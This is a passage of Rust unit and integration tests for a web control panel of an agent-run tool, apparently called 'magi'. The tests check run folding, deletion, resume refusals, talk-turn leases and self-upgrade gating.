13855        assert!(!run_cards_slice.to_lowercase().contains("delete"));
13856
13857        // 3. Run detail has delete entry and reasons
13858        assert!(APP_JS.contains("renderRunDelete"));
13859        assert!(APP_JS.contains("runDeleteReason"));
13860        assert!(APP_JS.contains("magi fold"));
13861        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13862
13863        // 4. Two-step delete arming and focus on Cancel
13864        assert!(APP_JS.contains("cancel.focus"));
13865        assert!(APP_JS.contains("armedRunDelete"));
13866        assert!(APP_JS.contains("renderTaskDeleteBox"));
13867        assert!(APP_JS.contains("armed${cap(key)}"));
13868
13869        // 5. Running task has disabled delete
13870        assert!(APP_JS.contains("disabled: status === \"running\""));
13871    }
13872
13873    /// Every element a run card's updater reaches for must be in the `refs`
13874    /// the builder handed it.
13875    ///
13876    /// `createRunCard` builds its elements, appends them to the card, and then
13877    /// lists them again in `row.refs`. That second list is the one the updater
13878    /// uses, and nothing connects the two - an element can be built, appended
13879    /// and rendered, and still be missing from `refs`. `superseded` was, for
13880    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
13881    /// exception took `syncList` with it, and the deck showed
13882    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
13883    /// line is computed before the cards, which is why the failure looked like
13884    /// a server that had lost its runs rather than a front end that had
13885    /// stopped rendering them.
13886    ///
13887    /// A `cargo test` cannot execute the front end, so this reads the two
13888    /// halves out of the source and compares them as sets. It is not a check
13889    /// on the wording of either list: adding an element, renaming one, or
13890    /// reordering them all keeps this passing, and only using one the builder
13891    /// never published fails it.
13892    #[test]
13893    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13894        let build = APP_JS
13895            .find("function createRunCard")
13896            .expect("createRunCard exists");
13897        let update = APP_JS
13898            .find("function updateRunCard")
13899            .expect("updateRunCard exists");
13900        let end = APP_JS
13901            .find("function renderRuns")
13902            .expect("renderRuns exists");
13903
13904        // The builder's published set: the object literal assigned to `refs`.
13905        let builder = &APP_JS[build..update];
13906        let open = builder.find("refs = {").expect("createRunCard sets refs");
13907        let literal = &builder[open + "refs = {".len()..];
13908        let close = literal.find('}').expect("the refs literal is closed");
13909        let published: HashSet<&str> = literal[..close]
13910            .split(',')
13911            // `name` and `name: value` both bind `name`.
13912            .filter_map(|entry| entry.split(':').next())
13913            .map(str::trim)
13914            .filter(|name| !name.is_empty())
13915            .collect();
13916        assert!(
13917            published.len() > 5,
13918            "the refs literal did not parse into names: {published:?}"
13919        );
13920
13921        // What the updaters reach for: every `r.<name>`, where `r` is the
13922        // `const r = row.refs` alias both functions open with.
13923        let mut used: Vec<&str> = Vec::new();
13924        let updaters = &APP_JS[update..end];
13925        for (at, _) in updaters.match_indices("r.") {
13926            // `r` must be the whole identifier, not the tail of another one
13927            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
13928            let before = updaters[..at].chars().next_back();
13929            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13930                continue;
13931            }
13932            let rest = &updaters[at + 2..];
13933            let len = rest
13934                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13935                .unwrap_or(rest.len());
13936            if len > 0 {
13937                used.push(&rest[..len]);
13938            }
13939        }
13940        assert!(
13941            used.len() > 5,
13942            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13943        );
13944
13945        let missing: Vec<&str> = used
13946            .iter()
13947            .copied()
13948            .filter(|name| !published.contains(name))
13949            .collect();
13950        assert!(
13951            missing.is_empty(),
13952            "a run card's updater reaches for {missing:?}, which `createRunCard` \
13953             never put in `refs` - every card will throw and the list will \
13954             render empty under a count line that says otherwise. Published: \
13955             {published:?}"
13956        );
13957    }
13958
13959    #[tokio::test]
13960    async fn folding_from_the_phone_reports_what_it_removed() {
13961        let fx = Fixture::start().await;
13962        let runs = fx.runs();
13963
13964        // A run with no candidates has nothing to fold, which is a 200 with an
13965        // honest count rather than an error: the operator asked for the trees
13966        // to be gone and they are.
13967        let id = "20260901-000000-fold";
13968        write_run(&runs, id, RunStatus::Stalled);
13969        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13970        assert_eq!(res.status, 200);
13971        assert_eq!(res.json()["removed_count"], 0);
13972        assert_eq!(res.json()["run"], id);
13973        assert!(
13974            runs.join(id).exists(),
13975            "a fold keeps the run's record; only the worktrees go"
13976        );
13977    }
13978
13979    #[tokio::test]
13980    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13981        let fx = Fixture::start().await;
13982        let runs = fx.runs();
13983        let wt = fx.home.path().join("wt").join("magi").join("dead");
13984        let id = "20260901-000000-dead";
13985        std::fs::create_dir_all(runs.join(id)).expect("run dir");
13986        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13987        std::fs::create_dir_all(&wt).expect("worktree dir");
13988
13989        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13990        assert_eq!(res.status, 200, "{}", res.body);
13991        assert!(
13992            res.json()["removed_count"].as_u64().unwrap() > 0,
13993            "the worktree this build could not read a state for still went"
13994        );
13995        assert!(
13996            !runs.join(id).exists(),
13997            "an unreadable run has no candidate list to fold selectively, so \
13998             the whole record goes - same as `magi fold` on the CLI"
13999        );
14000    }
14001
14002    #[tokio::test]
14003    async fn deleting_an_unreadable_run_removes_it_wholesale() {
14004        let fx = Fixture::start().await;
14005        let runs = fx.runs();
14006        let wt = fx.home.path().join("wt").join("magi").join("gone");
14007        let id = "20260901-000000-gone";
14008        std::fs::create_dir_all(runs.join(id)).expect("run dir");
14009        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14010        std::fs::create_dir_all(&wt).expect("worktree dir");
14011
14012        let res = fx.delete(&format!("/api/runs/{id}")).await;
14013        assert_eq!(res.status, 204, "{}", res.body);
14014        assert!(!runs.join(id).exists(), "the broken record is gone");
14015        assert!(!wt.exists(), "its worktree is gone too");
14016    }
14017
14018    #[tokio::test]
14019    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14020        let fx = Fixture::start().await;
14021        let runs = fx.runs();
14022        let id = "20260901-000000-live";
14023        write_run(&runs, id, RunStatus::Implementing);
14024
14025        let mut beat = crate::daemon::Status::new();
14026        beat.current = vec![crate::daemon::Current {
14027            task: "20260901-000000-task".to_owned(),
14028            run: id.to_owned(),
14029        }];
14030        beat.updated_at = jiff::Timestamp::now();
14031        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14032            .expect("publish a heartbeat");
14033
14034        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14035        assert_eq!(res.status, 409);
14036        assert!(
14037            res.json()["error"]
14038                .as_str()
14039                .unwrap()
14040                .contains("live daemon"),
14041            "folding under a running agent would pull its worktree away"
14042        );
14043    }
14044
14045    #[tokio::test]
14046    async fn fold_merged_requires_a_pr_url() {
14047        let fx = Fixture::start().await;
14048        let runs = fx.runs();
14049        let id = "20260901-000000-nourl";
14050        write_run(&runs, id, RunStatus::Blocked);
14051
14052        let res = fx
14053            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14054            .await;
14055        assert_eq!(res.status, 400, "{}", res.body);
14056
14057        let blank = fx
14058            .post(
14059                &format!("/api/runs/{id}/fold-merged"),
14060                Some(r#"{"pr_url":"   "}"#),
14061            )
14062            .await;
14063        assert_eq!(blank.status, 400, "{}", blank.body);
14064    }
14065
14066    #[tokio::test]
14067    async fn fold_merged_is_404_for_an_unknown_run() {
14068        let fx = Fixture::start().await;
14069        let res = fx
14070            .post(
14071                "/api/runs/nosuchrun/fold-merged",
14072                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14073            )
14074            .await;
14075        assert_eq!(res.status, 404, "{}", res.body);
14076    }
14077
14078    #[tokio::test]
14079    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14080        let fx = Fixture::start().await;
14081        let runs = fx.runs();
14082        let id = "20260901-000000-livemerge";
14083        write_run(&runs, id, RunStatus::Blocked);
14084
14085        let mut beat = crate::daemon::Status::new();
14086        beat.current = vec![crate::daemon::Current {
14087            task: "20260901-000000-task".to_owned(),
14088            run: id.to_owned(),
14089        }];
14090        beat.updated_at = jiff::Timestamp::now();
14091        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14092            .expect("publish a heartbeat");
14093
14094        let res = fx
14095            .post(
14096                &format!("/api/runs/{id}/fold-merged"),
14097                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14098            )
14099            .await;
14100        assert_eq!(res.status, 409, "{}", res.body);
14101        assert!(
14102            res.json()["error"]
14103                .as_str()
14104                .unwrap()
14105                .contains("live daemon"),
14106            "correcting a run's merge underneath a running agent would race \
14107             whatever it is doing to the same `status`/`merge` fields"
14108        );
14109    }
14110
14111    /// A pull request `gh` cannot even ask about (no such remote, no such
14112    /// repository) must never be recorded as a merge on a guess - the same
14113    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
14114    /// command line, reached here through the phone route instead.
14115    #[tokio::test]
14116    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14117        let fx = Fixture::start().await;
14118        let runs = fx.runs();
14119        let id = "20260901-000000-unconfirmed";
14120        write_run(&runs, id, RunStatus::Blocked);
14121
14122        let res = fx
14123            .post(
14124                &format!("/api/runs/{id}/fold-merged"),
14125                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14126            )
14127            .await;
14128        assert_eq!(res.status, 400, "{}", res.body);
14129        assert_eq!(
14130            read_run(&runs, id).unwrap().status,
14131            RunStatus::Blocked,
14132            "a pull request that could not be confirmed merged must leave \
14133             the run exactly where it was"
14134        );
14135    }
14136
14137    #[tokio::test]
14138    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14139        let fx = Fixture::start().await;
14140        let runs = fx.runs();
14141
14142        // Only a finished run and a failed one. An *interrupted* run - a
14143        // parked one, or one whose daemon was killed mid-node - is the case
14144        // resuming exists for: run 4043 sat at `reviewing` with the deck
14145        // saying it could not be resumed, which was the one state where
14146        // resuming was the only sensible answer.
14147        for (status, word) in [
14148            (RunStatus::Merged, "merged"),
14149            (RunStatus::Ready, "ready"),
14150            (RunStatus::Failed, "failed"),
14151        ] {
14152            let id = format!("20260901-000000-{}", &word[..4]);
14153            write_run(&runs, &id, status);
14154            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14155            assert_eq!(res.status, 409, "{word} must not be resumable");
14156            let err = res.json()["error"].as_str().unwrap().to_owned();
14157            assert!(err.contains(word), "the refusal names the status: {err}");
14158        }
14159
14160        // And an interrupted run is accepted: 202, with the resume running in
14161        // the background. `Runner::resume` fails immediately here - the
14162        // fixture's run points at a repository that does not exist - which is
14163        // the point: the handler must not wait for it to find out.
14164        let mid = "20260901-000000-midf";
14165        write_run(&runs, mid, RunStatus::Reviewing);
14166        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14167        assert_eq!(res.status, 202, "an interrupted run is resumable");
14168    }
14169
14170    #[tokio::test]
14171    async fn resume_is_refused_while_the_loop_is_running() {
14172        let fx = Fixture::start().await;
14173        let runs = fx.runs();
14174        let stalled = "20260901-000000-stal";
14175        write_run(&runs, stalled, RunStatus::Stalled);
14176
14177        // The loop is busy with a *different* run, and that is still a
14178        // refusal: a manual resume must never race whatever the loop itself
14179        // is already driving, whether that is one run or several.
14180        let mut beat = crate::daemon::Status::new();
14181        beat.current = vec![crate::daemon::Current {
14182            task: "20260901-000000-task".to_owned(),
14183            run: "20260901-000000-othr".to_owned(),
14184        }];
14185        beat.updated_at = jiff::Timestamp::now();
14186        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14187            .expect("publish a heartbeat");
14188
14189        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14190        assert_eq!(res.status, 409);
14191        let err = res.json()["error"].as_str().unwrap().to_owned();
14192        assert!(err.contains("othr"), "it names what the loop is on: {err}");
14193        assert!(err.contains("stop it first"), "{err}");
14194    }
14195
14196    #[test]
14197    fn a_run_cannot_be_resumed_twice_at_once() {
14198        let home = TempDir::new().expect("temp home");
14199        let ui = Ui::new(
14200            Queue::at(home.path().join("queue")),
14201            Questions::at(home.path().join("questions")),
14202            Talks::at(home.path().join("talks")),
14203            home.path().join("runs"),
14204            home.path().to_path_buf(),
14205            PathBuf::from("/repo"),
14206        )
14207        .with_worktrees_root(home.path().join("wt"));
14208        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14209        let again = ui.begin_resume("20260901-000000-once");
14210        assert!(again.is_err(), "a second tap must not start a second graph");
14211        drop(first);
14212        assert!(
14213            ui.begin_resume("20260901-000000-once").is_ok(),
14214            "and the claim is released when the attempt ends"
14215        );
14216    }
14217
14218    #[test]
14219    fn talk_thinking_tracks_only_its_held_turn_claim() {
14220        let home = TempDir::new().expect("temp home");
14221        let ui = Ui::new(
14222            Queue::at(home.path().join("queue")),
14223            Questions::at(home.path().join("questions")),
14224            Talks::at(home.path().join("talks")),
14225            home.path().join("runs"),
14226            home.path().to_path_buf(),
14227            PathBuf::from("/repo"),
14228        )
14229        .with_worktrees_root(home.path().join("wt"));
14230        let id = "20260901-000000-once";
14231
14232        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14233        let turn = ui.begin_talk_turn(id).expect("claim turn");
14234        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14235        assert!(
14236            !ui.is_thinking("20260901-000000-other"),
14237            "one talk's turn does not make another talk busy"
14238        );
14239        drop(turn);
14240        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14241    }
14242
14243    #[test]
14244    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14245        let home = TempDir::new().expect("temp home");
14246        let talks = Talks::at(home.path().join("talks"));
14247        let ui = Ui::new(
14248            Queue::at(home.path().join("queue")),
14249            Questions::at(home.path().join("questions")),
14250            talks.clone(),
14251            home.path().join("runs"),
14252            home.path().to_path_buf(),
14253            PathBuf::from("/repo"),
14254        )
14255        .with_worktrees_root(home.path().join("wt"));
14256        let id = "20260901-000000-cross";
14257
14258        let other = Talks::at(home.path().join("talks"))
14259            .claim_turn(id)
14260            .expect("claim")
14261            .expect("the other process wins");
14262        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14263        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14264        assert!(
14265            matches!(
14266                ui.begin_talk_turn_unless_pending(id).expect("start"),
14267                TalkTurnStart::Foreign
14268            ),
14269            "a foreign holder is refused, not queued behind"
14270        );
14271        assert!(
14272            !ui.talk_turns.lock().unwrap().live.contains(id),
14273            "a refused claim leaves no in-process entry behind"
14274        );
14275        drop(other);
14276        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14277        assert!(talks.turn_held(id), "the web turn holds the lease");
14278        drop(turn);
14279        assert!(
14280            !talks.turn_held(id),
14281            "dropping the guard releases the lease"
14282        );
14283    }
14284
14285    #[test]
14286    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14287        let home = TempDir::new().expect("temp home");
14288        let talks = Talks::at(home.path().join("talks"));
14289        let ui = Ui::new(
14290            Queue::at(home.path().join("queue")),
14291            Questions::at(home.path().join("questions")),
14292            talks.clone(),
14293            home.path().join("runs"),
14294            home.path().to_path_buf(),
14295            PathBuf::from("/repo"),
14296        )
14297        .with_worktrees_root(home.path().join("wt"));
14298        let id = "20260901-000000-order";
14299        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14300        // Hold the slot mutex so the drop can finish the lease but not the slot.
14301        let slots = ui.talk_turns.lock().unwrap();
14302        let dropper = std::thread::spawn(move || drop(turn));
14303        let start = std::time::Instant::now();
14304        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14305            std::thread::sleep(Duration::from_millis(5));
14306        }
14307        assert!(!talks.turn_held(id), "the lease is released first");
14308        assert!(slots.live.contains(id), "the slot is still held meanwhile");
14309        drop(slots);
14310        dropper.join().expect("join");
14311        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14312    }
14313
14314    #[tokio::test]
14315    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14316        let fx = Fixture::start().await;
14317        // Somebody else's `magi serve` owns the queue. Replacing this binary
14318        // would leave that process running an old one against the same
14319        // claims, which is worse than refusing.
14320        let mut beat = crate::daemon::Status::new();
14321        beat.pid = 4321;
14322        beat.updated_at = jiff::Timestamp::now();
14323        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14324            .expect("publish a heartbeat");
14325
14326        let res = fx.post("/api/upgrade", None).await;
14327        assert_eq!(res.status, 409);
14328        let err = res.json()["error"].as_str().unwrap().to_owned();
14329        assert!(err.contains("4321"), "the refusal names the owner: {err}");
14330        assert!(err.contains("old one against the same queue"), "{err}");
14331    }
14332
14333    /// [`should_spawn_recheck`] must refuse for the same two reasons
14334    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
14335    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
14336    /// Purely a predicate over config and the environment - no network, no
14337    /// disk, no runtime - so unlike the fixture-based tests around it this
14338    /// one needs neither.
14339    #[test]
14340    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14341        assert!(!should_spawn_recheck(&crate::config::Update {
14342            mode: UpdateMode::Off,
14343            interval: None,
14344        }));
14345
14346        // SAFETY: single-threaded as far as this variable goes, the same
14347        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
14348        unsafe {
14349            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14350        }
14351        let killed = should_spawn_recheck(&crate::config::Update {
14352            mode: UpdateMode::Notify,
14353            interval: None,
14354        });
14355        unsafe {
14356            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14357        }
14358        assert!(
14359            !killed,
14360            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14361             one-time startup check"
14362        );
14363
14364        assert!(should_spawn_recheck(&crate::config::Update {
14365            mode: UpdateMode::Notify,
14366            interval: None,
14367        }));
14368    }
14369
14370    /// [`recheck_poll_period`] must track a configured `[update] interval`
14371    /// shorter than its own default ceiling - a fixed sleep here would leave
14372    /// an operator's short interval waiting on the next wake-up instead of on
14373    /// `should_check`, which is the same bug this whole task exists to fix,
14374    /// just one level down.
14375    #[test]
14376    fn recheck_poll_period_tracks_a_short_configured_interval() {
14377        let short = crate::config::Update {
14378            mode: UpdateMode::Notify,
14379            interval: Some("1m".to_owned()),
14380        };
14381        let period = recheck_poll_period(&short);
14382        assert!(
14383            period <= Duration::from_secs(30),
14384            "a one-minute interval must wake the task far sooner than the \
14385             default ceiling, or the deck would not notice within the \
14386             interval the operator configured: got {period:?}"
14387        );
14388
14389        let default = crate::config::Update {
14390            mode: UpdateMode::Notify,
14391            interval: None,
14392        };
14393        assert_eq!(
14394            recheck_poll_period(&default),
14395            UPDATE_RECHECK_POLL_MAX,
14396            "the default day-long interval should poll at the (capped) \
14397             ceiling rather than needlessly often"
14398        );
14399    }
14400
14401    /// [`update_recheck_due`] must not repeat a check made moments ago, the
14402    /// same throttle `updater::Checker::should_check` already gives the
14403    /// CLI's notify mode. Built over an explicit state file via
14404    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
14405    /// write the operator's real `last_update_check.json` - and therefore
14406    /// cannot flake on whatever that file happens to say on the machine
14407    /// running the test.
14408    #[test]
14409    fn recheck_skips_the_network_before_the_interval_elapses() {
14410        let dir = TempDir::new().expect("temp dir");
14411        let path = dir.path().join("state.json");
14412        let state = kaishin::UpdateCheckState {
14413            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14414            last_known_latest: None,
14415            last_known_url: None,
14416        };
14417        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14418
14419        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14420        assert!(
14421            !update_recheck_due(&checker, None),
14422            "a check made moments ago must not be repeated before the \
14423             configured interval elapses"
14424        );
14425    }
14426
14427    /// An upgrade this deck already started must not be raced by a recheck
14428    /// that discovers a newer release mid-install - regardless of what
14429    /// `should_check` says, which is why the state file here is missing
14430    /// entirely: read alone, that alone would answer "never checked, go
14431    /// ahead".
14432    #[test]
14433    fn recheck_defers_to_an_upgrade_already_in_flight() {
14434        let dir = TempDir::new().expect("temp dir");
14435        let path = dir.path().join("state.json");
14436        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14437        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14438
14439        assert!(
14440            !update_recheck_due(&checker, Some(&progress)),
14441            "a recheck must not run while an upgrade this deck started is \
14442             still moving"
14443        );
14444    }
14445
14446    #[tokio::test]
14447    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14448        // The same env var the background check honours (`disabled_by_env`)
14449        // must also stop a button press before it ever calls
14450        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
14451        // means "never contact GitHub from this process", and a tap on the
14452        // upgrade button must not override that any more than a broken
14453        // `magi.toml` may. Left unset, this fixture's default config would
14454        // otherwise reach a real, unauthenticated GitHub call.
14455        //
14456        // SAFETY: single-threaded as far as this variable goes - nothing else
14457        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
14458        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
14459        unsafe {
14460            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14461        }
14462        let fx = Fixture::start().await;
14463        let res = fx.post("/api/upgrade", None).await;
14464        unsafe {
14465            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14466        }
14467        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14468        let body = res.json();
14469        assert!(body["to"].is_null(), "there was no release to move to");
14470        assert!(body["parked"].is_null(), "and nothing was parked");
14471        assert!(
14472            body["detail"]
14473                .as_str()
14474                .unwrap()
14475                .contains("disabled by MAGI_NO_AUTOUPDATE"),
14476            "{body:?}"
14477        );
14478    }
14479
14480    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14481        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14482        p.stage = stage;
14483        p
14484    }
14485
14486    #[test]
14487    fn busy_stages_match_the_ui_set() {
14488        use crate::updater::Stage;
14489        assert!(APP_JS.contains(
14490            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14491        ));
14492        for s in [
14493            Stage::Downloading,
14494            Stage::Replaced,
14495            Stage::Parking,
14496            Stage::Restarting,
14497        ] {
14498            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14499        }
14500        for s in [Stage::Done, Stage::Failed] {
14501            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14502        }
14503        assert!(upgrade_in_motion(None).is_none());
14504    }
14505
14506    #[tokio::test]
14507    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14508        use crate::updater::Stage;
14509        for stage in [
14510            Stage::Downloading,
14511            Stage::Replaced,
14512            Stage::Parking,
14513            Stage::Restarting,
14514        ] {
14515            let fx = Fixture::start().await;
14516            let seeded = seeded_progress(stage);
14517            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14518            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14519                .expect("read");
14520
14521            let res = fx.post("/api/upgrade", None).await;
14522            assert_eq!(res.status, 409, "{stage:?}");
14523            let err = res.json()["error"].as_str().unwrap().to_owned();
14524            assert!(err.contains("already in progress"), "{err}");
14525            assert!(err.contains(stage.as_str()), "{err}");
14526
14527            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14528                .expect("read");
14529            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14530            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14531                .unwrap_or_default();
14532            assert!(!log.contains("signalling HANDOVER"), "{log}");
14533        }
14534    }
14535
14536    #[tokio::test]
14537    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14538        use crate::updater::Stage;
14539        let repo = TempDir::new().expect("repo dir");
14540        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14541            .expect("write magi.toml");
14542        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14543        for stage in [Stage::Done, Stage::Failed] {
14544            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14545            let res = fx.post("/api/upgrade", None).await;
14546            assert_eq!(res.status, 200, "{stage:?}");
14547        }
14548        // No record at all, and the gate was released by the earlier calls.
14549        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14550        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14551    }
14552
14553    #[tokio::test]
14554    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14555        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
14556        // and the route answers from its own logic.
14557        //
14558        // This test used to lean on the fixture's placeholder repo failing
14559        // config discovery, which left `mode = "notify"` - and a live,
14560        // unauthenticated call to the GitHub releases API inside a unit test.
14561        // GitHub allows 60 of those an hour per address, so the suite went red
14562        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
14563        // long as somebody kept re-running it: every attempt spent another
14564        // request. Six reruns across four pull requests were charged to that
14565        // before it was read as a rate limit rather than a flake.
14566        //
14567        // What the assertion is about is the "already current" branch, which
14568        // is reached by there being no newer release *or* nowhere to look. The
14569        // second one needs no network and cannot be rate limited.
14570        let repo = TempDir::new().expect("repo dir");
14571        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14572            .expect("write magi.toml");
14573        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14574
14575        // It must answer 200 and leave the process alone: restarting for an
14576        // upgrade that did not happen parks the run in flight and drops every
14577        // connection to pay for nothing. A probe against a deck already on the
14578        // newest build did exactly that, which is how this case got its own
14579        // branch.
14580        let res = fx.post("/api/upgrade", None).await;
14581        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14582        let body = res.json();
14583        assert!(body["to"].is_null(), "there was no release to move to");
14584        assert!(body["parked"].is_null(), "and nothing was parked");
14585        assert!(
14586            body["detail"]
14587                .as_str()
14588                .unwrap()
14589                .contains("nothing restarted"),
14590            "{body:?}"
14591        );
14592    }
14593
14594    #[tokio::test]
14595    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14596        // `mode = "off"` for the same reason as the test above: a default
14597        // fixture repo falls back to `mode = "notify"`, which would make this
14598        // route's new `update` field a live, unauthenticated GitHub call on
14599        // every assertion in this suite that happens to hit `/api/health`.
14600        let repo = TempDir::new().expect("repo dir");
14601        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14602            .expect("write magi.toml");
14603        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14604
14605        let health = fx.get("/api/health").await.json();
14606        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14607        assert_eq!(
14608            health["update"]["available"], false,
14609            "checking is off, which reads as \"unknown\", not \"none\""
14610        );
14611        assert!(health["update"]["to"].is_null());
14612        assert!(
14613            health["upgrade"].is_null(),
14614            "nothing has ever asked this deck to upgrade"
14615        );
14616    }
14617
14618    #[tokio::test]
14619    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14620        let fx = Fixture::start().await;
14621        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14622
14623        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14624        progress.parked_run = Some("20260905-000000-cd51".to_owned());
14625        progress.advance(crate::updater::Stage::Parking);
14626        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14627
14628        let health = fx.get("/api/health").await.json();
14629        assert_eq!(health["upgrade"]["stage"], "parking");
14630        assert_eq!(health["upgrade"]["from"], "0.5.1");
14631        assert_eq!(health["upgrade"]["to"], "0.5.2");
14632        let waiting_on = health["upgrade"]["waiting_on"]
14633            .as_str()
14634            .expect("waiting_on is set while parking a known run");
14635        assert!(waiting_on.contains("cd51"), "{waiting_on}");
14636        assert!(waiting_on.contains("implementing"), "{waiting_on}");
14637    }
14638
14639    #[tokio::test]
14640    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14641        let fx = Fixture::start().await;
14642        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14643        progress.advance(crate::updater::Stage::Done);
14644        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14645
14646        let health = fx.get("/api/health").await.json();
14647        assert_eq!(health["upgrade"]["stage"], "done");
14648        assert!(
14649            health["upgrade"]["waiting_on"].is_null(),
14650            "nothing to wait on once it is done"
14651        );
14652    }
14653
14654    #[tokio::test]
14655    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14656        let home = TempDir::new().expect("temp home");
14657        let runs = home.path().join("runs");
14658        std::fs::create_dir_all(&runs).expect("runs dir");
14659        let ui = Ui::new(
14660            Queue::at(home.path().join("queue")),
14661            Questions::at(home.path().join("questions")),
14662            Talks::at(home.path().join("talks")),
14663            runs,
14664            home.path().to_path_buf(),
14665            PathBuf::from("/repo/magi"),
14666        )
14667        .with_launch(launch_idle);
14668        let looping = ui.looping();
14669        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14670            .await
14671            .expect("bind loopback");
14672        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14673
14674        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14675        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14676
